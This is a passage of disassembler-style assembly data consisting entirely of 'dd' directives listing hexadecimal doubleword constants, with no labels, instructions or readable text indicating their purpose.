		dd 1A6A655Fh, 1A769711h, 0DB3300DCh, 5D5E71F3h,	854BAF64h
		dd 7093B2h, 0B105074Bh,	0F46A2D21h, 0CAFADA39h,	0EC31CCFBh
		dd 5FFC8A04h, 92AE8D29h, 0B8756016h, 0B51BC998h, 0CC2355DBh
		dd 4C327258h, 0FA25D959h, 0DF4AA362h, 5CA78054h, 0DE1BACC0h
		dd 0A00CAAFEh, 0B27AF4CAh, 0AF164A31h, 985AF86Eh, 0CE021FF7h
		dd 0A9FF9FC8h, 0A7455598h, 0F0E50h, 3D43EB4Ah, 6097990Ah
		dd 185230Ah, 1D085926h,	9061002Bh, 0BF505B51h, 583CE009h
		dd 0DE4FD434h, 2D9941Fh, 7B56769Dh, 52EFD712h, 0D353E86Fh
		dd 0CA621C01h, 68A545DDh, 6BC4AF6Dh, 0A8A485A8h, 0F8B580A7h
		dd 9FA26B41h, 0DF411652h, 5427FA2Bh, 0C30FDFB9h, 7BF61D8h
		dd 2A8D731Eh, 0BA8D4A78h, 46646829h, 2F8DBA58h,	6B24DD2Ah
		dd 13044B6Ah, 0FDBD0B56h, 575F0029h, 0B533F560h, 258F9AC1h
		dd 1BC65B61h, 31206FB0h, 0DB810014h, 919CB04h, 14ECFE9h
		dd 53A071F7h, 0AB1C09FEh, 0A74914D3h, 0A52571C6h, 95BA4455h
		dd 16F3FC2Bh, 7166D0h, 0F5D3BAFBh, 0C1BD2BB1h, 8BCC229Dh
		dd 67155CD9h, 2771F289h, 51577714h, 55F28EFBh, 1C64B34Dh
		dd 88CCAB64h, 0EF2B0AE3h, 25B6BAB7h, 467C685Fh,	8CCDBF04h
		dd 0C62E36C0h, 83EC0034h, 0D3804564h, 4EB75018h, 0C9CBBDE8h
		dd 5593BBB0h, 0B7043097h, 6989E6F8h, 6B05330Ah,	0BF1F0004h
		dd 0EE682826h, 614A4816h, 30F0C8h, 2701571Eh, 7DADC83Ch
		dd 0F3DFFD00h, 0F81A735h, 0B85F9583h, 62FE3Eh, 39B998DAh
		dd 0BD739D3Fh, 6F7F8C02h, 555BD41Eh, 4B1160C8h,	9E615532h
		dd 2FE256DFh, 5CA7B83Dh, 1F4B0523h, 0A3C1AFCBh,	92042EA9h
		dd 80901BBh, 17119E5Ch,	9BBBC84Fh, 3724BD01h, 0BE0DC183h
		dd 0C2FD90DBh, 255F70F2h, 2C5E336Bh, 3790FA8Bh,	0DCF9808Bh
		dd 939133D8h, 789D6200h, 3CF38153h, 483604B6h, 0ABF98B5Bh
		dd 99B5F160h, 16E48731h, 61DCB060h, 22D983A0h, 0A2FD67B5h
		dd 6C1495C4h, 45CC0D4Eh, 1DE9800Eh, 2ADA0BA1h, 23BE89A6h
		dd 3DB40E1Ah, 512F07A1h, 5DDD2CCEh, 4B0AB8F9h, 73E2F3h
		dd 0E6040BF6h, 913BF0Dh, 5F42DA89h, 68B68F60h, 74661497h
		dd 0D5EF97CCh, 80F9C40h, 4DAF0B5Ch, 470215E5h, 0E85A1DA1h
		dd 0FEA5397Ch, 0DB66929Ah, 0A87F7837h, 0DE30EA03h, 95029D1Ch
		dd 8B1487FAh, 12789E6h,	0FF786A95h, 149193B5h, 19F94C87h
		dd 129EE655h, 0AD3451BDh, 9EB8D2B2h, 9162220h, 80C44D85h
		dd 463D5BEh, 0FF1DE5BDh, 209D7928h, 82950A85h, 5572DEA4h
		dd 45D372BAh, 4F8B8451h, 8A786CA0h, 9FB96384h, 2300E71Ch
		dd 3878B837h, 0B7DF0061h, 7DEBD25h, 0F10955FEh,	809B6A7Ah
		dd 4CE0E92Ch, 9A5B4B77h, 0C11BC835h, 0DAA7CBA1h, 56A6CAFDh
		dd 0D5CC693Ah, 14C9BD12h, 0F92540E7h, 0FFD333C2h, 3FAEA370h
		dd 0E7804738h, 0E0C44CAh, 2527BD03h, 0CB325415h, 228E2A35h
		dd 94F841B5h, 4C684CF5h, 8954C889h, 0F5258253h,	0B85B1F84h
		dd 70F8C972h, 0B4F9F41h, 931DB660h, 5F4D90EEh, 0FD1A5605h
		dd 7DA9BC12h, 2AFB0B01h, 955D7B5Bh, 0DEE74068h,	0FE274B09h
		dd 590CF3B1h, 50711815h, 12B6E6C0h, 0C461FBE0h,	0D8B0D2B9h
		dd 8052C148h, 5FD0EF12h, 9CAEC075h, 0E5219DA5h,	0C092E908h
		dd 269109C8h, 8F93C082h, 96613A23h, 0AA16F680h,	0FE8A504Eh
		dd 0CF0481F2h, 150AD3C0h, 0C8B0DABFh, 0D7D5C119h, 0C55EC1CCh
		dd 0B5A2E081h, 0B713EE1Ch, 0B73CC625h, 37B94E10h, 0AD037E72h
		dd 245F6E2h, 98C590B5h,	4A50F8Ah, 4DB4E5C8h, 85BD2981h
		dd 0C3CB6A26h, 0AAB01D56h, 2C09C835h, 71F9F8FDh, 9574718h
		dd 0B5F4D454h, 4E95AF4Ch, 1235973Ah, 0CEF54E00h, 0E22D4C6h
		dd 208DF821h, 4E112F7Eh, 0A3DB6A1Fh, 8023DA5Fh,	0C7166FE7h
		dd 1960C43Dh, 0CFE9041Bh, 0BB4622B8h, 45E053F0h, 67C4C0Bh
		dd 0FC642Ch, 0F14A7DA8h, 0BEF7F3C1h, 3244EE03h,	0D58B1ECBh
		dd 6C06BDBh, 1EBF4678h,	54C9A425h, 7F1E2EBh, 6A440909h
		dd 0D5FE5DF8h, 0B04121FEh, 0F760D5A5h, 4B045718h, 62CB46FCh
		dd 0B0D3A8E8h, 502F5B83h, 7FB80953h, 485430A9h,	11C700DCh
		dd 0BF768E0Dh, 35122B4Fh, 0BB96A3Ch, 0FD56F2BDh, 911B918Ah
		dd 0AD290A41h, 2EA01537h, 8E1498F9h, 10C4CCDBh,	0FC6901E9h
		dd 8A009258h, 57BB50D9h, 0AA6721E1h, 0CE545D88h, 0DBD9CB4Eh
		dd 8433D0A0h, 800E787Ch, 0BD18789h, 0CF4B80EDh,	0B56A0F74h
		dd 35E04F4Dh, 12236710h
		dd 0BE334D9Dh, 4100FEF3h, 20D9D2B8h, 9F043011h,	0F623B197h
		dd 0DAD39DB9h, 0BFFB8068h, 0BBC477Dh, 0EB8D055Bh, 40981555h
		dd 7B462C1Bh, 44F6A300h, 0D1FF4F7Ah, 0B19D1629h, 0E211B817h
		dd 3B802976h, 26AB656h,	0C13D0CC4h, 1A809FBCh, 920FC6CBh
		dd 95DF8F00h, 60506940h, 0A2ED1EB9h, 0A8F0276Ah, 0DBE6ABBFh
		dd 651D701Eh, 0D9FC7400h, 587C7E5Ah, 0B6FE4B8Bh, 3115B298h
		dd 55E03F7Eh, 51A59571h, 0EF38AB61h, 9D929014h,	60EEBD4Dh
		dd 0EE801345h, 0FC834A0Fh, 7D8CA0E5h, 0F82A0046h, 2B4E014Ch
		dd 0E2057EE8h, 1CFFAC69h, 0BAAD34D4h, 0C1440CADh, 0A94C800Bh
		dd 2F07F69Fh, 165CAD09h, 25DC44AEh, 437E0CCAh, 0E24FFB09h
		dd 1F7B5535h, 4A73575Ah, 0F74D7A09h, 0DFFC9118h, 0E22BF804h
		dd 0C2BFB794h, 0C65C1187h, 250A5652h, 690A566h,	2B281607h
		dd 4DE96A45h, 80BEC026h, 7A0265A3h, 1DBD0386h, 25B45A05h
		dd 1A483509h, 65950739h, 5E4011B1h, 0A201A1B2h,	0EEA3735Bh
		dd 88C845D7h, 0B04C5FF4h, 91988D3h, 417E70E6h, 0E4172210h
		dd 89338C71h, 214E1DFCh, 8CD3DA8h, 39940371h, 8075B8B4h
		dd 52B43EBFh, 21BA5007h, 0A573B157h, 1981307Fh,	0C8F04E4Ch
		dd 0AF010F50h, 2CD1FBC6h, 5A30C234h, 835C0E3Ch,	12365F94h
		dd 2076B1F1h, 2840799Eh, 95FC7F53h, 63A1805Bh, 40135D25h
		dd 7081D1B1h, 370B0C18h, 18A0E923h, 970D31F6h, 47557710h
		dd 0CC534925h, 0E5B52A9Fh, 815B4F89h, 6A7F14A6h, 25BDCBA4h
		dd 61562C51h, 7BBF6640h, 8924979Bh, 30BE5731h, 420EDF9Ch
		dd 9563D700h, 0F8EA206Ch, 51A8028Ch, 0B0EB8191h, 0D77110F5h
		dd 0AE8000D3h, 0F8487ADFh, 0E92A5F5Bh, 5D2D623Eh, 0ACE35B01h
		dd 8351A51Fh, 99B52940h, 0E065B514h, 0E03C3237h, 67B34DF7h
		dd 0A8408942h, 0BA064AC1h, 0A5723677h, 0BDCD75ACh, 7AFE60E4h
		dd 2C53F6Bh, 862A2CBFh,	2F28C060h, 12EEB9Dh, 0A74FC212h
		dd 0F470EC5Ah, 61019612h, 6005E2E3h, 0AB02F181h, 8CBB34C4h
		dd 0B92461D5h, 99351B6h, 551DE909h, 1C117BB5h, 56F7FB80h
		dd 0C8007D46h, 0BF1B5AE4h, 255399EBh, 64D56049h, 0FC6124FAh
		dd 28A038B4h, 0D9C02B2Fh, 6DDD25C4h, 0D22B8976h, 0DC6476h
		dd 6ACBCEE0h, 6B9DE722h, 0E3817E01h, 5B83EB28h,	23407F2Fh
		dd 1A700217h, 0C37B45B8h, 2F9A770h, 0CADF3E37h,	9E8756E9h
		dd 0F51208E1h, 8504BF2h, 0F2D1357h, 0B8372482h,	3E4081CDh
		dd 0EA2E5912h, 0D5C43609h, 19918435h, 201C9380h, 0CD62E2FAh
		dd 5510F596h, 8B27FAD3h, 5EC954FFh, 5966F39Dh, 57C8BF6h
		dd 0F4425C20h, 0C656782Dh, 48BF02FEh, 5F6815F2h, 8C53A45Eh
		dd 0CBF9DEBAh, 2661517Bh, 0BEB302AEh, 0CA5E33D2h, 4AEDD04Ch
		dd 0B5A6AC16h, 0C0A925ADh, 552F02A5h, 5ABE70EDh, 4EE4B68Dh
		dd 2FA07DF6h, 0BB04ACECh, 35590DDDh, 0AEA29BBCh, 831A911Fh
		dd 880BBB57h, 0A0496E3Bh, 0F13592h, 0DE8A5CF3h,	1260C8BFh
		dd 0ACCA6D4Bh, 4E1FFD4Fh, 9FE02DE6h, 0F2D1CF1h,	4096F985h
		dd 0AC557BC0h, 8F40CB05h, 5C80721Dh, 13F817DBh,	1522733h
		dd 0D5EBC7B0h, 5E51E4EAh, 45B39C97h, 0D23B3005h, 38B20909h
		dd 73165B60h, 99358580h, 69B4A800h, 0EB01BBDEh,	0C5664BE1h
		dd 0B997B98Fh, 0D652666Bh, 509F1F09h, 1E3EF932h, 627D015Ah
		dd 7B7003D7h, 222EF9B5h, 5B1A93A1h, 6A4051B6h, 16C8B59Ah
		dd 8F279AC1h, 0C520FA2Ah, 5712A29h, 0B531FCF7h,	61E9E09Dh
		dd 0B5A4BA97h, 63F08059h, 3205BEFCh, 4A24025Ch,	901F17B9h
		dd 27C26D8Ah, 0BCC55BC3h, 0FFD481E1h, 0F22EE6B4h, 9D29C4A5h
		dd 0AF35C9AFh, 0C0AA4D96h, 38574F29h, 5112A600h, 89F30C3Bh
		dd 1EDD259Dh, 0C5209572h, 94149719h, 5D20504Ah,	74B6A915h
		dd 8953008Bh, 0A7D01BE0h, 0D27B8372h, 64A87DD7h, 0C964AB4Bh
		dd 283B20AAh, 0FE00B138h, 0E8728ADFh, 1D92B23Fh, 1685834h
		dd 0E5334C02h, 0A951E2FBh, 3B931800h, 3ED37B16h, 0E983ACA4h
		dd 0D9BD2B84h, 5AE7AB9Ch, 0B599BF40h, 6ED2945Bh, 8071480Dh
		dd 0A54C0274h, 1CBE97Ah, 3FF4FAFEh, 0EC89D470h,	6C803653h
		dd 4158D7E5h, 59925B9Dh, 1F491817h, 0DD32F777h,	4C0EC4D7h
		dd 0D0BEBC5Eh, 33E11685h, 18D8DEB9h, 0BA971755h, 47D199h
		dd 2925AB6Bh, 77015915h, 8EB3B107h, 0B12EE13Ch,	0BCD6391Dh
		dd 0F6EF00F0h, 0DB8C5928h, 0BCC70BFAh, 1D85CAE0h, 624B12EAh
		dd 0B8606603h, 8E97ACE2h, 0C58D65AFh, 502F28B8h, 7869E9FCh
		dd 2629BC0Ch, 0B201DE05h, 9D01DB79h, 9C6B0589h,	0DF008074h
		dd 0BDAE688Fh, 2552676Bh, 815DF98Bh, 74BE51EEh,	0A5B151EEh
		dd 46D65E56h, 7964001Bh, 9AFF3A95h, 20544A7Ch, 0E1298991h
		dd 0B6C4E800h, 0B11571B8h, 0D48A04D1h, 8C50F936h, 377B5FBFh
		dd 0BEA9ED00h, 6343D128h, 38AF0021h, 739193CEh,	3CEBDE71h
		dd 16F65A69h, 9E1BEE4h,	0EF044A28h, 0ED5F2CCDh,	549AD67Fh
		dd 7E7B5380h, 6C394193h, 0CA57952Ch, 9D0905F4h,	9EA92679h
		dd 0C3DBD09h, 83447A7Bh, 0E5CE8CAAh, 838A414Bh,	0AB103327h
		dd 0E98021F1h, 0A73AE143h, 0EC1EA078h, 0C4B904ADh, 0EE166131h
		dd 72BF850Eh, 5BBAA7F3h, 0A4A088B6h, 0F19076Bh,	0B7190289h
		dd 5AA3F8EAh, 0E11CAC30h, 9E7E0409h, 0D9D485B0h, 5ADFE92Ch
		dd 80B99E03h, 841BE467h, 8A920820h, 0C88012E8h,	0C39B4B14h
		dd 0E41500A2h, 0A88EC7D1h, 927ED253h, 510F5517h, 0ABC1A880h
		dd 8A2AE35Fh, 7E35A067h, 9CF00BA5h, 9C55EB1Eh, 64BD0033h
		dd 0F723400Fh, 960043EEh, 0C678281h, 954FEF7Fh,	55699876h
		dd 1A917EB5h, 0F18DBF92h, 9E6CC6Bh, 0A408571h, 4003BE50h
		dd 5E569F69h, 2BAD43Ah,	0CEAB7E43h, 97C65E9Ch, 24C1ED95h
		dd 1917C30Bh, 57F16FAFh, 0BBBD0949h, 82DF79D9h,	3391B529h
		dd 42C2D15Dh, 4A1426BDh, 0C4FBADF9h, 3C290BD9h,	9D030DD4h
		dd 122E4571h, 2F04AA87h, 6EAB2050h, 507A003Ch, 3FA587DDh
		dd 848F5829h, 0B90BCD12h, 8C15BCC2h, 2BBAA402h,	841A299Dh
		dd 75BDDE63h, 4FBB1CADh, 0A6EB542Eh, 0FFBD5A01h, 0F63F6A5Bh
		dd 0A4FAF0F7h, 34DC2DF5h, 14596A7Bh, 23504618h,	0EE950FD1h
		dd 278DB00Ah, 11663219h, 0D55E10B7h, 0C95A03C2h, 0A203E991h
		dd 0AE2FDEC0h, 871F4C3Eh, 0FBFBDCCh, 56FB6B1Eh,	1446DC8Ch
		dd 0BD332602h, 6E751DB1h, 95099505h, 48468471h,	0EB8C8D41h
		dd 1019F440h, 0B6509680h, 51BA0734h, 0F8F21E59h, 0EFB2C331h
		dd 46968A61h, 0EABF4BF0h, 98199580h, 0F0A739AEh, 28868FABh
		dd 86540B08h, 0FF815A1Ah, 0FE2373CCh, 6BB04DD5h, 0B7045153h
		dd 88EAE22Ch, 0D4908CB2h, 7B20752Dh, 18157943h,	278B7AAh
		dd 7853A7E5h, 0C51A97A1h, 24A258E0h, 6BA89497h,	637B4D69h
		dd 278E8B70h, 0D2D039A4h, 1FA83A97h, 84029C28h,	0BCF997BBh
		dd 0B86E4BA2h, 0B5B13109h, 1DD9BA7Bh, 0DB73E318h, 0C66D6200h
		dd 0D09E75C9h, 0F2BB2FE9h, 0A383F704h, 2FFB39F8h, 5637C1h
		dd 9BB0D6Ch, 0D1B0D72Eh, 0FA8D5738h, 0B7AD3827h, 538B803Fh
		dd 0C6F680A7h, 0B99D198h, 2031F825h, 5BE01469h,	48DC8080h
		dd 0AD12B920h, 0C25E9D16h, 307399D7h, 47D3A108h, 1EAD53C8h
		dd 7A9168h, 0FBB6D970h,	0E009BE61h, 459F673h, 5884DD4Fh
		dd 0C0C5DBEFh, 5009B593h, 0A5BB06F2h, 4A5E65EFh, 8B6034BCh
		dd 0F4EBC0h, 0EBD40ABh,	7E44A548h, 26367300h, 51142B9Ch
		dd 0CCA20064h, 0B6DF0104h
		dd 1B0177C0h, 465729B8h, 92C08B27h, 0BAEE076Ah,	0D040ED9Ah
		dd 0EA532352h, 0CC036100h, 333B3121h, 0A8D001DBh, 0ABE1504Fh
		dd 0AE92E06Eh, 2B35161Dh, 48DDC602h, 0B1E660F6h, 66D9E2EAh
		dd 214009A9h, 89FE6800h, 0FBE48163h, 0E67BB5h, 69938373h
		dd 63CB44Bh, 61E1CC3Ch,	0FB28B730h, 0D3DED5h, 6D85FD10h
		dd 8A945423h, 6C5CCA19h, 2180C408h, 706D7D98h, 0B003BE6Bh
		dd 118E8D43h, 2BEF90DAh, 0C0D66D83h, 30309D88h,	0C9467806h
		dd 85E60011h, 994FF6EBh, 4766AA4Ch, 9821E009h, 3EEB00F9h
		dd 0DE21CB9Fh, 0A9005324h, 17776E44h, 2840F798h, 0D8CB7B1h
		dd 0D3C71B27h, 88340B70h, 0A660C3E1h, 2BF16598h, 2EF46300h
		dd 1BB196BAh, 58C9607Bh, 8E0548C5h, 1C46C4A4h, 8389F002h
		dd 3E31DAB1h, 89F86E10h, 0F2F09818h, 7D3B27A0h,	5158C0F7h
		dd 0D55A131Dh, 0C07C2B00h, 12AF1582h, 0BB533EA2h, 7FC50280h
		dd 0D0A7A9F5h, 80EF3500h, 0E7294E40h, 50621E38h, 9B094032h
		dd 482CC925h, 0BB60411Eh, 4E382380h, 2A0431h, 0C9E7CCDAh
		dd 50086D86h, 550147EEh, 2EC0E512h, 3BE4C617h, 70C7005Fh
		dd 4E96CEB1h, 923B1DAEh, 130E8F60h, 8F0F2E68h, 3807E759h
		dd 0BB24CBA0h, 9AA83B5Fh, 28C04219h, 416BDC59h,	21003778h
		dd 5D049690h, 3BF66E7Dh, 0C117BBA2h, 58961892h,	0D8094893h
		dd 37EAE91h, 3A5915EBh,	79406420h, 0F6309BF0h, 0B6331110h
		dd 9A6B010Dh, 9212EAC5h, 0E108BE9Dh, 0DAE5621h,	2C3ED4h
		dd 0E8645F58h, 42363B24h, 6AA1C960h, 180B30Bh, 0B956BE9Bh
		dd 9F01F7AEh, 7F434941h, 8813B676h, 71AAC847h, 0FF9000Ch
		dd 6979418h, 0E307CDC1h, 0E199A8BAh, 127B2741h,	0AB137800h
		dd 9411262Ah, 1C492E18h, 197D4736h, 8578FCAh, 50218923h
		dd 0DE240041h, 30E475h,	4738985Eh, 5BE23712h, 0C80F5E96h
		dd 0EAA5201Dh, 28EE200Ch, 5BC2817h, 2E869796h, 0BF9C00E4h
		dd 6F05D54Fh, 3FCE4D18h, 8003CB40h, 4BF01B99h, 10C11EF6h
		dd 32A19874h, 2588584Bh, 4C44FCC0h, 0A84ABBDh, 58254778h
		dd 6B811DCh, 30971698h,	0CF4D0FA8h, 6482C31Ah, 28485CFBh
		dd 0D17E9079h, 32BAE203h, 308ADA17h, 9F217608h,	6872D198h
		dd 0F8AFAB00h, 0D9E782E9h, 645009Ch, 1D279293h,	31C10896h
		dd 14877B8Ah, 5A52F187h, 4146C1A4h, 0EEFC50CDh,	0B601D06Bh
		dd 5D377A47h, 898524Fh,	638B21D2h, 4B90D004h, 8D800560h
		dd 207983Fh, 5F929BE7h,	0D4801466h, 52DB1135h, 0E2CCA80Ch
		dd 8116E0E1h, 897185Fh,	82E24AD1h, 9A4071C4h, 72F1D19Fh
		dd 8E2D8301h, 589EF7DAh, 10E9D806h, 408B7B82h, 9E149B33h
		dd 14F88108h, 90DC7651h, 1AC23E4h, 97951C48h, 8827184Fh
		dd 1C0F4051h, 7C0F01h, 18755C15h, 1A630F17h, 0DC940716h
		dd 3DEF311Fh, 7202B582h, 5900C242h, 38FD55h, 0F44B8094h
		dd 971A9017h, 0CB439C00h, 14639296h, 77E6009Eh,	765FBE49h
		dd 0EB0F9082h, 8C9641CFh, 7984C0CBh, 5BFA1D01h,	21C3C1FFh
		dd 3017D54Dh, 9E0C0412h, 40474B0Eh, 0C59B1843h,	28385894h
		dd 16F74D00h, 0D3996A4Ch, 877314E4h, 3904901Ah,	1FDBE28Eh
		dd 1FF70D04h, 0D4440E00h, 0C58B2D7Fh, 0D0FA0403h, 5C1000CBh
		dd 8F8A3BAAh, 0DD006AD7h, 2F980DBEh, 0C831ECh, 0FD6C1C7Fh
		dd 83533548h, 0C3F2C700h, 0B72693B0h, 58A500E4h, 85761665h
		dd 0CF0F1C50h, 2020A003h, 3A249A0Fh, 23920F58h,	358067E2h
		dd 0A2B9FAE9h, 28795D07h, 6120C4B0h, 106CA46Eh,	0FC5BF27h
		dd 80C9ABA1h, 12A0D09Ch, 600202C7h, 2CB6854Bh, 73585E40h
		dd 2ABD9601h, 0F45AEB77h, 643B20h, 8CF5B1DAh, 56279B22h
		dd 0A57B5205h, 44C767EDh, 540F861h, 43AE4h, 0D4472B8Eh
		dd 0A1FF65F3h, 10B3D4EDh, 8AC7A403h, 0C0DBF82Dh, 3F24A3Eh
		dd 8FD959BEh, 0B8E8DA31h, 3600F516h, 0A555F85Eh, 0CB08F1h
		dd 7A8D2257h, 3EDDFF4Eh, 0EEF24Ch, 4BE0B609h, 0EF8408h
		dd 1B8A41A4h, 1B96FAAh,	1C005A75h, 3B70BC66h, 0B1C2C3h
		dd 7BB79D61h, 0C8B8EBC7h, 34AE21C0h, 0A9F8F0Fh,	2AB9FCD6h
		dd 188B0180h, 80BBFDB7h, 0D2DE0111h, 186312Ch, 0C4FE2011h
		dd 314069EDh, 0DE808978h, 5004208Eh, 6E4F0Dh, 305B5C46h
		dd 7EA1BD99h, 918CB20Ch, 4976402Fh, 0D8001C62h,	6B25015Ah
		dd 46E87095h, 4603100h,	2282D7E3h, 2DFD0045h, 9BB02E49h
		dd 0BE007637h, 0E1A7E243h, 933374h, 0EEE5CD17h,	8463C63Bh
		dd 136C3138h, 0E700DBE7h, 5410E149h, 877233h, 50C51C73h
		dd 0A8AF896Dh, 0BB2AE338h, 47AE0149h, 9C3ACA71h, 6D1B8C40h
		dd 0AD5603F8h, 541EC75Ch, 81683FCh, 0EE1DB890h,	7713C200h
		dd 2893382h, 0B7E658BAh, 0AB490900h, 0E0F6DB05h, 2E008B73h
		dd 40C0FCEBh, 1E3F9638h, 9EF71061h, 860B8294h, 8840DACDh
		dd 0D000726Bh, 0C16EFE7h, 753E0EBh, 0D5DC37CFh,	87FBF2CCh
		dd 0EC1CB448h, 9CDDB70Fh, 3F4A006h, 88643Fh, 0A1835BE7h
		dd 683B37D0h, 844E500h,	8FAEC152h, 5CFC3EA3h, 0FE199B81h
		dd 81E691B4h, 0BD18EB20h, 0D824AE5Ah, 60A300DBh, 0BC651690h
		dd 5700EC66h, 0E3DE8B8Eh, 1CE52A7h, 0E5BB11B1h,	0E45EF540h
		dd 0C700A004h, 95932F44h, 8B9974h, 591A6524h, 0CDBC8447h
		dd 0B7DC3809h, 6114A043h, 3219058h, 4CB96E9Dh, 2E0738E2h
		dd 0E6A07C57h, 6732AD0h, 0F8BB00A8h, 51ABECFBh,	3509A60Ah
		dd 2E83A599h, 0F6CA002Ch, 3623909h, 5210ED8Ah, 0D807E40Fh
		dd 0E53AB64Dh, 5C9A2B0h, 783C008Dh, 634B931Fh, 0C805DFE0h
		dd 0E4C352EAh, 0F26B004h, 89A94141h, 1CC3F667h,	0FC8046AAh
		dd 0DFCB20F3h, 9023A701h, 79E2B275h, 95DC0ADDh,	0F9490F8h
		dd 27D52C6Fh, 5E01140h,	0E830C08Bh, 0BCDCB92Ah,	0C477003Fh
		dd 0F943ED0Eh, 6D01BDB1h, 3875D97Fh, 0B8244762h, 5D5E003Dh
		dd 13F52C57h, 0BF0FA50Eh, 0AC6E03h, 0A8FD5F1Bh,	33E90729h
		dd 0D00D10F4h, 0CAEDD1DDh, 0C4CE4600h, 3C5F9836h, 729F001Ch
		dd 7859FD8Ah, 0A53D1635h, 5140074h, 694A0ACDh, 19371D44h
		dd 70FB7B9Ch, 48EB00ACh, 0E29FBC41h, 3400B915h,	55C086E1h
		dd 30B0C9h, 88683D43h, 0FD147CEh, 0F807840Ah, 0AF80A0EEh
		dd 0CFF0CD8Ch, 0EF40128h, 7CBDE6C0h, 3AC880C9h,	6E2BF7F8h
		dd 76DC0792h, 6030411Fh, 9014653Bh, 80478339h, 0E8B2C0F0h
		dd 18DF6384h, 0D85FA2F7h, 0C2008980h, 0F9CC7F53h, 93FB895h
		dd 916122B9h, 292E28A0h, 381618C4h, 4005B63h, 0F00F45E1h
		dd 11616099h, 0DE8D8C53h, 1CC76700h, 8F260C9Bh,	9F48024Bh
		dd 999CF6BFh, 6B3D3040h, 9D973809h, 4A382078h, 49356657h
		dd 110064B9h, 0CB1C7B40h, 0FC09DA0Bh, 19B54Fh, 0D3C37F9Ch
		dd 382F60D6h, 41B875ACh, 0C6374905h, 0C80B1983h, 13A9005Dh
		dd 0CE3CBh, 0EA5E4CB4h,	62CADFA5h, 0D9B8F0C0h, 3CF795E6h
		dd 8407D706h, 26979F37h, 0EB002064h, 1B39FC4Ch,	0E8EF6A22h
		dd 0B9C7000Bh, 34824303h, 8400A7EBh, 0F60F1319h, 900CE42Dh
		dd 0EAA5003Fh, 0F4E78068h, 0AF01BB88h, 9FCFACA6h, 0B1D02C85h
		dd 0E9B40044h, 0B9BA1281h, 92001A9Bh, 0BEC823ABh, 3A9C74EAh
		dd 3284E1EBh, 0C07E8CB7h, 0B2D599E9h, 0DF68E00h, 0D068725Ah
		dd 1D770040h, 0D1941518h, 1400B7EAh, 0BA0DC542h, 1C49CAh
		dd 0E0DD7B80h, 0A362C360h, 1D052974h, 3167C31h,	0B2E1BC40h
		dd 0FE02311h, 0A513DCF7h
		dd 0EB740540h, 8F1D84D7h, 3DC0E91Bh, 5CC97F9Ah,	0C4B7008Bh
		dd 0EE4E5BFFh, 0F54C3073h, 58540036h, 1B3BA0C8h, 9050002Fh
		dd 7FBF6448h, 62009A4Fh, 3C785EB5h, 428516h, 2AA21331h
		dd 0BC0FC38Ch, 9EE8B47Ch, 1000F57Bh, 2832EFD0h,	4ED479h
		dd 5B8CF9AFh, 0F2AE567Bh, 70017A00h, 0BD2576DAh, 0A310C0F3h
		dd 7C5AD7A9h, 4B54FF01h, 0B531CF89h, 0F22C61D4h, 0DDD50F7Ah
		dd 77234Ah, 3950E363h, 450021F1h, 17BBC822h, 90259056h
		dd 52C30584h, 90DABFCCh, 19BE8FBCh, 0C6A44500h,	8897FFBDh
		dd 143713EBh, 66600080h, 315B3A9Dh, 0E50702EAh,	4D2A7EDDh
		dd 3C531750h, 2E798Ch, 604C9119h, 8AE2BB87h, 0F5456D00h
		dd 926AD6B1h, 71B900DEh, 34A3C4A0h, 0CBFA475Eh,	79C124Dh
		dd 495DFB91h, 0A6B53780h, 18086178h, 0E07D2F97h, 11CF1803h
		dd 769D010Fh, 0F0D38EF6h, 0EA7598h, 4F5DD791h, 48808CD1h
		dd 1C921E00h, 84EB0F43h, 0C0E14039h, 0B6DA900h,	0C148ED47h
		dd 803D6F23h, 0DA373201h, 2417D1CAh, 0DC0048D0h, 859A1222h
		dd 0EE97EAh, 4E16A5E2h,	4232D2E4h, 8F762FF0h, 14205D4Dh
		dd 1680FDAh, 927D1F95h,	91D1270Dh, 6100A1BBh, 4631542Fh
		dd 16000382h, 8E47AB4Fh, 5C15BBh, 0EAF30D0Bh, 4571A420h
		dd 61426E00h, 6F89D87h,	98913EB5h, 0C7D62E00h, 0F17E8172h
		dd 0B1276A00h, 0AEDC7AB7h, 0E73B00DFh, 0A56FC0A2h, 0A00F5A1h
		dd 7A3FAC58h, 8BE455h, 76599319h, 7099497Fh, 9CB46800h
		dd 0D023281h, 25730020h, 0B0FA396h, 1B01A561h, 0CEB90AAh
		dd 5BCC9934h, 2D7962h, 0CE746754h, 1AA91D79h, 0C73D6571h
		dd 99E38010h, 0D8DA15E1h, 87540031h, 0F84F41FCh, 2D25B852h
		dd 630F00DEh, 3822996Ch, 180284Ah, 51CC43E6h, 7812C806h
		dd 0A4CCAF13h, 901C084Dh, 2AC46797h, 1C455440h,	983EA248h
		dd 0D02C185Ch, 0F8A41D8Ch, 2980E927h, 727C0426h, 8B0017A5h
		dd 0F6DCBF45h, 0C584CDh, 0AA9B479Fh, 1C14665Eh,	90A8F3B0h
		dd 3A30C3CFh, 0DED4188Bh, 0BB2206A7h, 2082A25Fh, 420EA413h
		dd 867708Ch, 5A47B2D0h,	8F40D4C4h, 3DA0D05Fh, 61FCB00h
		dd 2B92AD97h, 4243019Ah, 0AE930968h, 0B970B164h, 79F0730Eh
		dd 0E21C2807h, 0C345084Ch, 720F662Ah, 0ECD107BFh, 138DFE3h
		dd 0C1C9A8A0h, 46A331E9h, 9A0D28D5h, 201E3FEEh,	304796F9h
		dd 222898FEh, 19988074h, 6802250Fh, 914C206Fh, 241EAEh
		dd 6BF8FF28h, 7C65CB9h,	8344D700h, 898A67CBh, 0C5120065h
		dd 9FA1EEF0h, 0A302DFC2h, 0CE3260BBh, 3959609Ch, 0F90D1DC3h
		dd 0DA710553h, 8723C00Ch, 766F0589h, 4AFE0051h,	5FC37Bh
		dd 0D533B9D9h, 8601B5C0h, 7FB89707h, 1CC6117Eh,	0A0A40010h
		dd 5819EB46h, 68D8F6B2h, 0A8F818h, 26BA25ACh, 652EDB7Eh
		dd 0B939B018h, 0BC7A048h, 70CDF191h, 0E656A001h, 58BEE0DDh
		dd 5A893761h, 0C703BADh, 23714Bh, 88921055h, 707EE0A0h
		dd 0F044FB27h, 7A871D58h, 5A04066Dh, 0AA61414Ah, 2C20FD94h
		dd 45D900D7h, 0A473AD03h, 661EC0C2h, 0BF00C752h, 0F225E12Eh
		dd 0A2840687h, 50D0892Ch, 9B9C2800h, 3A80DF1Bh,	0B3EE0062h
		dd 23E60BECh, 0CF48DDFFh, 6A4F0D1Fh, 5CF0103Bh,	9B18C012h
		dd 0A2A94DC6h, 727B3300h, 802460F1h, 3BD4710Bh,	8B1C5B50h
